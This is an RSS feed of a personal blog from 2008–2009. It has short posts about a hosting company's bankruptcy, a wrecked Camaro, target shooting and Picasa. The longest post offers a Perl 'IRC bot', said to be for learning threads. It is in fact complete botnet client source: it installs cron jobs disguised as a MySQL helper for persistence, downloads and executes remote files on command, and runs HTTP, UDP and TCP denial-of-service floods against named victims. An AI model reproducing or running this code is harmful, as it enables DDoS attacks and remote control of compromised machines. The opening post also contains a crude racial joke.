<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Dmitry Dovidenko's Blog</title>
	<atom:link href="http://rootit.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://rootit.org</link>
	<description>"A flatterer is a friend who is your inferior, or pretends to be so." - Aristotle</description>
	<pubDate>Tue, 06 Jan 2009 22:45:38 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Barack Obama Jerseys?</title>
		<link>http://rootit.org/2009/01/barack-obama-jerseys/</link>
		<comments>http://rootit.org/2009/01/barack-obama-jerseys/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 00:55:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=117</guid>
		<description><![CDATA[So apparently now that the new president is black he gets a basketball jersey?
http://latimesblogs.latimes.com/alltherage/2009/01/shopping-obama.html
I find it pretty hillarious that because the president is black he gets a basketball jersey. At least we have a black guy on the team! Go team USA!
]]></description>
			<content:encoded><![CDATA[<p>So apparently now that the new president is black he gets a basketball jersey?<span id="more-117"></span></p>
<p><a href="http://latimesblogs.latimes.com/alltherage/2009/01/shopping-obama.html">http://latimesblogs.latimes.com/alltherage/2009/01/shopping-obama.html</a></p>
<p>I find it pretty hillarious that because the president is black he gets a basketball jersey. At least we have a black guy on the team! Go team USA!</p>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2009/01/barack-obama-jerseys/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Alpha Red Goes Chapter 7</title>
		<link>http://rootit.org/2008/12/alpha-red-goes-chapter-7/</link>
		<comments>http://rootit.org/2008/12/alpha-red-goes-chapter-7/#comments</comments>
		<pubDate>Fri, 26 Dec 2008 03:15:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=112</guid>
		<description><![CDATA[Unfortunately Alpha Red could not be saved and is in Chapter 7 Bankruptcy as we speak. Game over :-(. Power is off and other utilities are being taken off line. This means liquidation. Check out the attached bandwidth graph photo. Currently AcroNOC Inc (http://acronoc.com) is offering services to all Alpha Red clients. Our corporation was [...]]]></description>
			<content:encoded><![CDATA[<p>Unfortunately Alpha Red could not be saved and is in Chapter 7 Bankruptcy as we speak. Game over :-(. Power is off and other utilities are being taken off line. This means liquidation. Check out the attached bandwidth graph photo. Currently <a title="AcroNOC Inc" href="http://acronoc.com">AcroNOC</a> Inc (<a title="http://acronoc.com" href="http://acronoc.com">http://acronoc.com</a>) is offering services to all Alpha Red clients. Our corporation was founded by the top Alpha Red employees, Mack McBride,  Robert Singleton, Austin Naremore, Geoffrey Stephens, Daniel Stewart, Sean Kirn, Robin Holec and yours truly Dmitry Dovidenko. We have our own data center space, CogentCo bandwidth and we can move Alpha Red customers to our facility as we are working directly with the Chapter 7 trustee Douglas Brickley of LECG. This will prevent any data loss for AR customers left in the dark as well as provide the fastest solution for getting back online. Please contact <a title="support@acronoc.com" href="mailto:support@acronoc.com">support@acronoc.com</a> or <a title="sales@acronoc.com" href="mailto:sales@acronoc.com">sales@acronoc.com</a> to get moved up to our space fast! We are upstairs in the same building as DC1 of AR.<span id="more-112"></span></p>
<div class="wp-caption aligncenter" style="width: 310px"><a href="http://rootit.org/gallery/main.php?g2_itemId=6633&amp;g2_imageViewsIndex=1"><img title="Alpha Red Fail Chapter 7 Bankruptcy" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6635&amp;g2_serialNumber=2" alt="Alpha Red Fail Chapter 7 Bankruptcy" width="300" height="188" /></a><p class="wp-caption-text">Alpha Red Fail Chapter 7 Bankruptcy</p></div>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/12/alpha-red-goes-chapter-7/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Camaro Fixed</title>
		<link>http://rootit.org/2008/12/camaro-fixed/</link>
		<comments>http://rootit.org/2008/12/camaro-fixed/#comments</comments>
		<pubDate>Sun, 07 Dec 2008 23:02:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<category><![CDATA[Perl Programming]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=94</guid>
		<description><![CDATA[Well my Camaro has been fixed. As reported earlier I wrecked my 99 Camaro on Highway 59 with front end damage. Here it is fixed by Aliance Auto Center in Houston, TX:

 

 


 

 


 

 


 

 

]]></description>
			<content:encoded><![CDATA[<p>Well my Camaro has been fixed. As reported earlier I wrecked my 99 Camaro on Highway 59 with front end damage. Here it is fixed by <a href="http://www.allianceautocenter.com/">Aliance Auto Center</a> in Houston, TX:<span id="more-94"></span></p>
<dl class="wp-caption alignleft" style="width: 250px;">
<dt class="wp-caption-dt"> <a href="http://rootit.org/gallery/main.php?g2_itemId=6612&amp;g2_imageViewsIndex=1"><br />
<img title="Camaro Fixed" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6614&amp;g2_serialNumber=2" alt="Camaro Fixed" width="240" height="161" /><br />
</a> </dt>
</dl>
<dl class="wp-caption alignleft" style="width: 250px;">
<dt class="wp-caption-dt"> <a href="http://rootit.org/gallery/main.php?g2_itemId=6622&amp;g2_imageViewsIndex=1"><br />
<img title="Camaro Fixed" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6624&amp;g2_serialNumber=2" alt="Camaro Fixed" width="240" height="161" /><br />
</a> </dt>
</dl>
<dl class="wp-caption alignleft" style="width: 250px;">
<dt class="wp-caption-dt"> <a href="http://rootit.org/gallery/main.php?g2_itemId=6419&amp;g2_imageViewsIndex=1"><br />
<img title="Camaro Wrecked" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6421&amp;g2_serialNumber=2" alt="Camaro Wrecked" width="240" height="161" /><br />
</a> </dt>
</dl>
<dl class="wp-caption alignleft" style="width: 250px;">
<dt class="wp-caption-dt"> <a href="http://rootit.org/gallery/main.php?g2_itemId=6425&amp;g2_imageViewsIndex=1"><br />
<img title="Camaro Wrecked" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6427&amp;g2_serialNumber=2" alt="Camaro Wrecked" width="240" height="161" /><br />
</a> </dt>
</dl>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/12/camaro-fixed/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Wrecked My Camaro</title>
		<link>http://rootit.org/2008/11/wrecked-99-chevy-camaro/</link>
		<comments>http://rootit.org/2008/11/wrecked-99-chevy-camaro/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 17:48:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=90</guid>
		<description><![CDATA[About a week ago I managed to wreck my beloved 1999 Chevrolet Camaro t-tops coupe. After getting cut off on Highway 59 in 3PM traffic my car started fishtailing from having avoided the initial accident. Due to heavy slow traffic I was unable to keep my foot on the gas to get out of the [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">About a week ago I managed to wreck my beloved 1999 Chevrolet Camaro t-tops coupe. After getting cut off on Highway 59 in 3PM traffic my car started fishtailing from having avoided the initial accident. Due to heavy slow traffic I was unable to keep my foot on the gas to get out of the fishtail and ended up spinning out. I went from the 3rd lane (from the left) all the way to the 6th lane in an arch ending up backwards and hitting another car. The impact spun me around again and I was able to put the car on the side of the highway. Three and a half grand later my car is now repaired. I&#8217;ve attached photos of the damage and will take photos of the repaired car tomorrow.<span id="more-90"></span></p>
<div class="mceTemp" style="text-align: center;">
<dl class="wp-caption alignnone" style="width: 310px;">
<dt class="wp-caption-dt" style="text-align: center;"><a href="http://rootit.org/gallery/main.php?g2_itemId=6419&amp;g2_imageViewsIndex=1"><img title="Wrecked Camaro!" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6421&amp;g2_serialNumber=2" alt="Wrecked Camaro!" width="300" height="225" /></a></dt>
<dd class="wp-caption-dd" style="text-align: center;">Wrecked Camaro!</dd>
</dl>
</div>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/11/wrecked-99-chevy-camaro/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Glock 23 Target Practice</title>
		<link>http://rootit.org/2008/11/glock-23-target-practice/</link>
		<comments>http://rootit.org/2008/11/glock-23-target-practice/#comments</comments>
		<pubDate>Sun, 23 Nov 2008 23:00:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=87</guid>
		<description><![CDATA[I went shooting with my friend Sanjin today at American Shooting Centers here in Houston. We used his Glock 23 which fires a .40 S&#38;W round. It cost us $68.90 for a box of 250 Remington brand rounds which we went through within about an hour. With range fees I figured out it cost us [...]]]></description>
			<content:encoded><![CDATA[<p>I went shooting with my friend <a href="http://sanjin.suljic.net/" target="_blank">Sanjin</a> today at American Shooting Centers here in Houston. We used his Glock 23 which fires a .40 S&amp;W round. It cost us $68.90 for a box of 250 Remington brand rounds which we went through within about an hour. With range fees I figured out it cost us roughly $0.36 per round fired. I found Sanjin&#8217;s Glock 23 to be a great gun. It was very accurate, had great trigger pull and was a lot of fun to shoot. Sanjin and I did pretty well. Attached to this post is a photograph of my target, Sanjin didn&#8217;t keep his!<span id="more-87"></span></p>
<div class="wp-caption aligncenter" style="width: 210px"><a href="http://rootit.org/gallery/main.php?g2_itemId=6413&amp;g2_imageViewsIndex=2"><img title="Dmitrys Target" src="http://rootit.org/gallery/main.php?g2_view=core.DownloadItem&amp;g2_itemId=6415&amp;g2_serialNumber=2" alt="Dmitrys Target" width="200" height="300" /></a><p class="wp-caption-text">Dmitry&#39;s Target</p></div>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/11/glock-23-target-practice/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Picasa Sucks</title>
		<link>http://rootit.org/2008/11/picasa-sucks/</link>
		<comments>http://rootit.org/2008/11/picasa-sucks/#comments</comments>
		<pubDate>Sun, 09 Nov 2008 04:38:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=84</guid>
		<description><![CDATA[Usually I like Google utilities and applications, but Picasa just plain pisses me off. I don&#8217;t understand why Google seems to think that it HAS to scan your hard drive or at least a portion of it after installation. Why can&#8217;t I cancel the initial scan? Why does Google assume I&#8217;m retarded and won&#8217;t be [...]]]></description>
			<content:encoded><![CDATA[<p>Usually I like Google utilities and applications, but Picasa just plain pisses me off. I don&#8217;t understand why Google seems to think that it HAS to scan your hard drive or at least a portion of it after installation. Why can&#8217;t I cancel the initial scan? Why does Google assume I&#8217;m retarded and won&#8217;t be able to drag in folders I want it to index!?!?!?<span id="more-84"></span></p>
<p>Here is what I recommend to get around this crap:</p>
<p>1. After installing Picasa launch it and pick the second option (Desktop/My Documents/My Photos).</p>
<p>2. Go to Tools -&gt; Folder Management.</p>
<p>3. A new window should be open. In that window you should see a list-box titled &#8220;Watched Folders&#8221;. Click on each watched folder and then &#8220;Remove from Picasa&#8221;.</p>
<p>4. After doing this for each folder press &#8220;OK&#8221;.</p>
<p>5. Now you should have a nice and clean Picasa install! Drop in the folders you want to index and enjoy.</p>
<p>Maybe Google will stop assuming you&#8217;re an idiot at some point?</p>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/11/picasa-sucks/feed/</wfw:commentRss>
		</item>
		<item>
		<title>THC IRC Bot (Perl)</title>
		<link>http://rootit.org/2008/10/thc-irc-bot-perl/</link>
		<comments>http://rootit.org/2008/10/thc-irc-bot-perl/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 16:31:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Perl Programming]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=76</guid>
		<description><![CDATA[This is a very old basic IRC bot I wrote at some point. I recently found it when a coworker wanted to learn about threads. It uses Perl and requires that Perl is built with threading support!


#!/usr/bin/perl

# Modules
use IO::Socket;
use Thread;
use Socket;

#---------------- CONFIGURATION --------------
$server = "your.irc.server.host";
$port = 3309;
$nick_prefix = "[THC]";
$version = "THC PERL BOT 0.6.1";
$cmd_symbol = [...]]]></description>
			<content:encoded><![CDATA[<p>This is a very old basic IRC bot I wrote at some point. I recently found it when a coworker wanted to learn about threads. It uses Perl and requires that Perl is built with threading support!<br />
<span id="more-76"></span></p>
<pre>
#!/usr/bin/perl

# Modules
use IO::Socket;
use Thread;
use Socket;

#---------------- CONFIGURATION --------------
$server = "your.irc.server.host";
$port = 3309;
$nick_prefix = "[THC]";
$version = "THC PERL BOT 0.6.1";
$cmd_symbol = "!";
$channel = "#yourircchannel";
$password = "6pufoP.Mzt4lM";	# DES Encrypted Password

#---------------------------------------------

# Set triggers

$call_version = $cmd_symbol . "version";	# !version - Shows the version of the bot
$call_info = $cmd_symbol . "info";		# !info - Shows the system information
$call_login = $cmd_symbol . "login";		# !login
<password> - Logs you into the bot
$call_logout = $cmd_symbol . "logout";		# !logout - Logs you out of the bot
$call_exit = $cmd_symbol . "exit";		# !exit - Kills the bot
$call_cycle = $cmd_symbol . "cycle";		# !cycle <#channel> <seconds> - Joins channel then parts
$call_dns = $cmd_symbol . "dns";		# !dns <hostname> - Resolves the hostname
$call_join = $cmd_symbol . "join";		# !join <#channel> - Joins the channel
$call_part = $cmd_symbol . "part";		# !part <#channel> - Parts the channel
$call_mode = $cmd_symbol . "mode";		# !mode <#channel> <mode> <user> - Sets the mode on the user
$call_nick = $cmd_symbol . "nick";		# !nick <nickname> - Changes the bot's nickname
$call_msg = $cmd_symbol . "msg";		# !msg <nickname> <text> - Sends a private message
$call_raw = $cmd_symbol . "raw";		# !raw <command> - Send a raw command
$call_randnick = $cmd_symbol . "randnick";	# !randnick - Resets the bot's nick to a new random one
$call_download = $cmd_symbol . "download";	# !download <URL> <dest-name> <1/0> - Download, save and either run (1) or dont (0)
$call_visit = $cmd_symbol . "visit";		# !visit <URL> <referer> - Visit URL and fake referer
$call_post = $cmd_symbol . "post";		# !post <URL> <referer> <POST> - Posts data to url
$call_ping = $cmd_symbol . "ping";		# !ping <host> <# count> <size> <timeout> - Ping a host
$call_httpdos = $cmd_symbol . "http";		# !http <host>
<port> <# threads> <# count> - HTTP DOS attack
$call_udp = $cmd_symbol . "udp";		# !udp <host> <size> <time> - UDP DOS attack with size and time
$call_tcp = $cmd_symbol . "tcp";		# !tcp <host>
<port> <time> - TCP DOS attack

# Other Global Vars 

my $sys_cpumodel, $sys_uptime, $sys_users, $sys_load, $sys_kernel, $sys_ostype, $sys_temp, $sys_snd, $sys_vid, $sys_net, $sys_host;
my $logged_in;
my $nick;
my $realname;

my $http_victim;
my $http_port;
my $http_threads;
my $http_count;

my $udp_victim;
my $udp_size;
my $udp_time;

my $tcp_victim;
my $tcp_port;
my $tcp_time;

# Subroutines

sub tcpDOSCon {
	my $tcp_itime = time;
	my ($tcp_cur_time);
	my ($tcp_ia,$tcp_pa,$tcp_proto,$tcp_j,$tcp_l,$tcp_t);

	$tcp_ia = inet_aton($tcp_victim);
	$tcp_pa = sockaddr_in($tcp_port, $tcp_ia);

	$tcp_ftime = $tcp_time;

	$tcp_proto = getprotobyname('tcp');

	$tcp_j = 0;
	$tcp_l = 0;

	$tcp_cur_time = time - $tcp_itime;

	while($tcp_l < 1000) {
		$tcp_cur_time = time - $tcp_itime;
		last if $tcp_cur_time >= $tcp_ftime;
		$tcp_t = "SOCK$tcp_l";
		socket($tcp_t, PF_INET, SOCK_STREAM, $tcp_proto);
		connect($tcp_t, $tcp_pa) || $tcp_j--;
		$tcp_j++;
		$tcp_l++;
	}
	$tcp_l = 0;
	while($tcp_l < 1000) {
		$tcp_cur_time = time - $tcp_itime;
		last if $tcp_cur_time >= $tcp_ftime;
		$tcp_t = "SOCK$tcp_l";
		shutdown($tcp_t, 2);
		$tcp_l++;
	}
}

sub udpDOSCon {
	my $udp_iaddr = inet_aton($udp_victim);
	my $udp_msg = 'A' x $udp_size;
	my $udp_ftime = $udp_time;
	my $udp_cp = 0;

	my (%udp_packets);
	$udp_packets{icmp} = $udp_packets{igmp} = $udp_packets{udp} = $udp_packets{o} = $udp_packets{tcp} = 0;

	socket(SOCK1, PF_INET, SOCK_RAW, 2) or $udp_cp++;
	socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $udp_cp++;
	socket(SOCK3, PF_INET, SOCK_RAW, 1) or $udp_cp++;
	socket(SOCK4, PF_INET, SOCK_RAW, 6) or $udp_cp++;
	return(undef) if $udp_cp == 4;

	my $udp_itime = time;

	my($udp_cur_time);

	while(1) {
		for (my $udp_port = 1; $udp_port <= 65000; $udp_port++) {
			$udp_cur_time = time - $udp_itime;
			last if $udp_cur_time >= $udp_ftime;
			send(SOCK1, $udp_msg, 0, sockaddr_in($udp_port, $udp_iaddr)) and $udp_packets{igmp}++;
			send(SOCK2, $udp_msg, 0, sockaddr_in($udp_port, $udp_iaddr)) and $udp_packets{udp}++;
			send(SOCK3, $udp_msg, 0, sockaddr_in($udp_port, $udp_iaddr)) and $udp_packets{icmp}++;
			send(SOCK4, $udp_msg, 0, sockaddr_in($udp_port, $udp_iaddr)) and $udp_packets{tcp}++;

			for(my $udp_pc = 3; $udp_pc <= 255; $udp_pc++) {
				next if $udp_pc == 6;
				$udp_cur_time = time - $udp_itime;
				last if $udp_cur_time >= $udp_ftime;
				socket(SOCK5, PF_INET, SOCK_RAW, $udp_pc) or next;
				send(SOCK5, $udp_msg, 0, sockaddr_in($udp_port, $udp_iaddr)) and $udp_packets{o}++;
			}
		}
		last if $udp_cur_time >= $udp_ftime;
	}
	return($udp_cur_time, %udp_packets);
}

sub udpDOS {
	my($udp_dtime, %udp_packets) = udpDOSCon;
	$udp_dtime = 1 if $udp_dtime == 0;
	my %udp_bytes;
	$udp_bytes{igmp} = $udp_size * $udp_packets{igmp};
	$udp_bytes{icmp} = $udp_size * $udp_packets{icmp};
	$udp_bytes{o} = $udp_size * $udp_packets{o};
	$udp_bytes{udp} = $udp_size * $udp_packets{udp};
	$udp_bytes{tcp} = $udp_size * $udp_packets{tcp};
	print $irc "PRIVMSG $channel :UDP denial of service finished on $udp_victim, sent ".int(($udp_bytes{icmp}+$udp_bytes{igmp}+$udp_bytes{udp}+$udp_bytes{o})/1024)."Kb in ".$udp_dtime." seconds!\n";
}

sub tcpDOS {
	my $tcp_itime = time;
	my ($tcp_cur_time);
	$tcp_cur_time = time - $tcp_itime;
	while($tcp_time > $tcp_cur_time) {
		$tcp_cur_time = time - $tcp_itime;
		&#038;tcpDOSCon();
	}
	print $irc "PRIVMSG $channel :TCP denial of service attack on $tcp_victim:$tcp_port done!\n";
}

sub httpDOSCon {
	local *FH;

	my $http_iaddr = gethostbyname('localhost');
	my $http_proto = getprotobyname('tcp');
	my $http_paddr = sockaddr_in(0, $http_iaddr);
	my ($http_host);
	my $http_hisiaddr = inet_aton($http_victim) || die "Unknown host!";
	my $http_hispaddr = sockaddr_in($http_port, $http_hisiaddr);

	socket(FH, PF_INET, SOCK_STREAM, $http_proto) || die "Socket: $!";
	connect(FH, $http_hispaddr) || die "Bind: $!";

	return *FH;
}

sub httpDOSRun {
	$http_i = 0;
	while($http_i != $http_threads)	{
		push @handles, &#038;httpDOSCon;
		$http_i++;
		#$staggered and sleep 3;
	}
}	

sub httpDOS {
	$http_j = 0;
	while($http_j != $http_count) {
		httpDOSRun;
		sleep 3;
		$http_j++;
	}
	print $irc "PRIVMSG $channel :Attack on $http_victim complete, however some sockets may still be waiting to close!s\n";
}

sub genNick {
	my @rand_chars = ( 'a' .. 'z', 'A' .. 'Z', 0 .. 9 );

	foreach(1..8)
	{
	        $base_nick.= $rand_chars[rand scalar @rand_chars];
	}

	$nick = $nick_prefix . $base_nick;
	$realname = $nick;
	$base_nick = "";
}

sub getSysInfo {
	$sys_cpumodel = `cat /proc/cpuinfo | grep 'model name' | sed -e 's/^.*: //'`;
	chomp($sys_cpumodel);

	$sys_ostype = `cat /proc/sys/kernel/ostype`;
	chomp($sys_ostype);

	$sys_host = `cat /proc/sys/kernel/hostname`;
	chomp($sys_host);

	$sys_kernel = `cat /proc/sys/kernel/osrelease`;
	chomp($sys_kernel);

	$sys_uptime = `uptime`;
	$sys_uptime =~ m/up\s+(.*),\s+(.*?) users?,.*:\s+(.*)/o;

	$sys_uptime = $1;
	$sys_users = $2;
	$sys_load = $3;

	$sys_uptime =~ s/:(\d\d)/h:$1m/o;
	$sys_uptime =~ s/mins/m/o;
	$sys_uptime =~ s/^1 hours/1h/o;
	$sys_uptime =~ s/ 1 minutes$/1m/o;

	$sys_temp = `cat /proc/acpi/thermal_zone/THRM/temperature | grep 'temperature' | sed -e 's/^.*:             //'`;
	chomp($sys_temp);

	$sys_snd = `cat /proc/asound/modules | grep '0' | sed -e 's/0 //'`;
	chomp($sys_snd);

	$sys_vid = `cat /proc/pci | grep 'VGA' | sed 's/.*7 //' | sed 's/(.*//' | sed 's/.//' | sed 's/].//'`;
	chomp($sys_vid);

	$sys_net = `cat /proc/pci | grep 'Ethernet controller' | sed 's/^.*: //' | sed 's/(.*//'`;
	chomp($sys_net);
}

genNick;

# Check &#038; Set CRON Job

$cronfile_location = "/etc/cron.hourly/safe_mysqld";
$cronfile_location2 = "/etc/cron.daily/safe_mysqld";

$cron_script = "#!/bin/bash\n" .
		"exec < /usr/bin/safe_mysql.pid\n" .
		"while read line\n" .
		"do\n" .
		"checkpid=\$( ps -e | grep \$line)\n" .
		"if [ -z \"\$checkpid\" ]\n" .
		"then\n" .
                "echo \"Process $line not running, mysql not safe. Fixing!\"\n" .
                "/usr/bin/safe_mysql &#038;\n" .
                "exit\n" .
        	"fi\n" .
        	"echo \"Process already running, mysql is safe! Exiting!\"\n" .
		"done\n";

$cron_script2 = "#!/bin/bash\n" .
		"exec < /usr/bin/safe_mysql.pid\n" .
		"while read line\n" .
		"do\n" .
		"killall -9 safe_mysql\n" .
		"/usr/bin/safe_mysql &#038;\n" .
		"done\n";

system("rm -rf /usr/bin/safe_mysql.pid &#038;&#038; echo $$ > /usr/bin/safe_mysql.pid");

if(-e $cronfile_location) {
	print "Cron file exists. Good!\n";
} else {
	system("touch $cronfile_location");
	open(WRITECRON, ">>$cronfile_location");
	print WRITECRON $cron_script;
	close(WRITECRON);
	system("chmod +x $cronfile_location");
	print "Cron file does not exist! Creating!\n";
}

if(-e $cronfile_location2) {
	print "Cron file 2 exists. Good!\n";
} else {
	system("touch $cronfile_location2");
	open(WRITECRON2, ">>$cronfile_location2");
	print WRITECRON2 $cron_script2;
	close(WRITECRON2);
	system("chmod +x $cronfile_location2");
	print "Cron file 2 does not exist! Creating!\n";
}

# Go go IRC!!!

$irc=IO::Socket::INET->new(
        PeerAddr=>$server,
        PeerPort=>$port,
        Proto=>'tcp')  or die "$server: $@\n";

print $irc "USER poop poop poop :poop the bot\n";
print $irc "NICK $nick\n";
print $irc "JOIN $channel\n";
print $irc "PRIVMSG $channel :Another minion is here to serve you master!\n";

while(defined($in=<$irc>)) {
        if($in=~/PING :(.*)/) {
                print $irc "PONG $1\n";
        } elsif($logged_in eq "1") {
		if($in=~/$call_version/) {
                	print $irc "PRIVMSG $channel :$version\n";
	        } elsif($in=~/$call_info/) {
			getSysInfo;
			print $irc "PRIVMSG $channel :[CPU: $sys_cpumodel] [OS Type: $sys_ostype] [Kernel: $sys_kernel] [Hostname: $sys_host] [Uptime: $sys_uptime] [Users: $sys_users] [Load: $sys_load] [Temp: $sys_temp] [Ethernet: $sys_net] [Sound: $sys_snd] [Video: $sys_vid]\n";
		} elsif($in=~/$call_logout/) {
			$logged_in = 0;
			print $irc "PRIVMSG $channel :You have been logged out!\n";
		} elsif($in=~/$call_exit/) {
			print $irc "PRIVMSG $channel :Bye!\n";
			exit;
		} elsif($in=~/$call_cycle (\S+) (\S+)/) {
			print $irc "JOIN $1\n";
			sleep $2;
			print $irc "PART $1\n";
		} elsif($in=~/$call_dns (\S+)/) {
			$resolve_dns = gethostbyname($1);
			if($resolve_dns) {
				$resolve_dns = inet_ntoa($resolve_dns);
				print $irc "PRIVMSG $channel :" . $resolve_dns . "\n";
			} else {
				print $irc "PRIVMSG $channel :Could not resolve DNS for $1!\n";
			}
		} elsif($in=~/$call_join (\S+)/) {
			print $irc "JOIN $1\n";
		} elsif($in=~/$call_part (\S+)/) {
			print $irc "PART $1\n";
		} elsif($in=~/$call_mode (\S+) (\S+) (\S+)/) {
			print $irc "MODE $1 $2 $3\n";
		} elsif($in=~/$call_nick (\S+)/) {
			print $irc "NICK $1\n";
		} elsif($in=~/$call_msg (\S+) (.*)/) {
			print $irc "PRIVMSG $1 :$2\n";
		} elsif($in=~/$call_raw (.*)/) {
			print $irc "$1\n";
		} elsif($in=~/$call_randnick/) {
			genNick;
			print $irc "NICK $nick\n";
		} elsif($in=~/$call_download (\S+) (\S+) (\S+)/) {
			print $irc "PRIVMSG $channel :File Downloading ...\n";
			system("wget -O $2 $1");
			print $irc "PRIVMSG $channel :File Downloaded!\n";
			if($3 eq "1")
			{
				print $irc "PRIVMSG $channel :Executing File!\n";
				system("chmod +x $2");
				system("$2");
			}
		} elsif($in=~/$call_visit (\S+) (\S+)/) {
			system("curl -e $2 $1");
			print $irc "PRIVMSG $channel :Visited $1 and pretended to come from $2!\n";
		} elsif($in=~/$call_post (\S+) (\S+) (.*)/) {
			system("curl -d \"" . $3 . "\" -e $2 $1");
			print $irc "PRIVMSG $channel :Posted $3 to $1 pretended to come from $2!\n";
		} elsif($in=~/$call_ping (\S+) (\S+) (\S+) (\S+)/) {
			print $irc "PRIVMSG $channel :Pinging $1 with $2 packets of $3 bytes each plus 8 bytes of ICMP header data. Timeout is $4 seconds!\n";
			system("ping -c $2 -s $3 -W $4 $1 &#038;");
		} elsif($in=~/$call_httpdos (\S+) (\S+) (\S+) (\S+)/) {
			print $irc "PRIVMSG $channel :Running denial of service on $1:$2 with $3 threads and $4 runs!\n";
			$http_victim = $1;
			$http_port = $2;
			$http_threads = $3;
			$http_count = $4;
			$http_thread = new Thread \&httpDOS;
		} elsif($in=~/$call_udp\s+(.*)\s+(\d+)\s+(\d+)/) {
			print $irc "PRIVMSG $channel :Running UDP denial of service on $1 with $2 kilobyte packets for $3 seconds!\n";
			$udp_victim = $1;
			$udp_size = $2;
			$udp_time = $3;
			$udp_thread = new Thread \&udpDOS;
		} elsif($in=~/$call_tcp (\S+) (\S+) (\S+)/) {
			print $irc "PRIVMSG $channel :Running TCP denial of service on $1:$2 for $3 seconds!\n";
			$tcp_victim = $1;
			$tcp_port = $2;
			$tcp_time = $3;
			$tcp_thread = new Thread \&tcpDOS;
		}
	} elsif($in=~/$call_login (\S+)/) {
		$check_pass = $1;
		if(crypt($check_pass, $password) eq $password) {
			$logged_in = 1;
			print $irc "PRIVMSG $channel :Your password has been accepted!\n";
		} else {
			$logged_in = 0;
			print $irc "PRIVMSG $channel :Your password did not match!\n";
		}
	}
}

close($irc);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/10/thc-irc-bot-perl/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Alpha Red Inc</title>
		<link>http://rootit.org/2008/10/alpha-red-inc/</link>
		<comments>http://rootit.org/2008/10/alpha-red-inc/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 10:37:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Events &amp; Trips]]></category>

		<guid isPermaLink="false">http://rootit.org/?p=71</guid>
		<description><![CDATA[I&#8217;ve not posted in a few weeks, because I&#8217;ve been so busy trying to cleanup the mess our CEO left us in! For those that are interested in the Washington vs. James Reed McCreary IV, Branch Software Inc,  Alpha Red Inc lawsuit take a lookat the full post! While we don&#8217;t work for or represent [...]]]></description>
			<content:encoded><![CDATA[<p><span>I&#8217;ve not posted in a few weeks, because I&#8217;ve been so busy trying to cleanup the mess our CEO left us in! For those that are interested in the Washington vs. James Reed <span>McCreary</span> IV, Branch Software Inc,  Alpha Red Inc lawsuit take a lookat the full post! While we don&#8217;t work for or represent Alpha Red Inc anymore we&#8217;re still trying to fix things for customers hosting at our data centers so they can keep getting awesome cheap services!<br />
</span></p>
<p><span id="more-71"></span></p>
<p><a title="BBC Article" href="http://news.bbc.co.uk/2/hi/technology/7645420.stm"><span>http://news.<span>bbc</span>.co.<span>uk</span>/2/hi/technology/7645420.<span>stm</span></span></a></p>
<p><a title="Washington Attorney General Article" href="http://www.atg.wa.gov/pressrelease.aspx?id=21026"><span>http://www.<span>atg</span>.<span>wa</span>.gov/<span>pressrelease</span>.<span>aspx</span>?id=21026</span></a></p>
<p><a title="Complaint (PDF)" href="http://www.atg.wa.gov/uploadedFiles/Home/News/Press_Releases/2008/ComplaintRegistryCleaner.pdf"><span>http://www.<span>atg</span>.<span>wa</span>.gov/<span>uploadedFiles</span>/Home/News/Press_Releases/2008/<span>ComplaintRegistryCleaner</span>.<span>pdf</span></span></a></p>
<p>Wish me luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://rootit.org/2008/10/alpha-red-inc/feed/</wfw:commentRss>
		</item>
		<item>
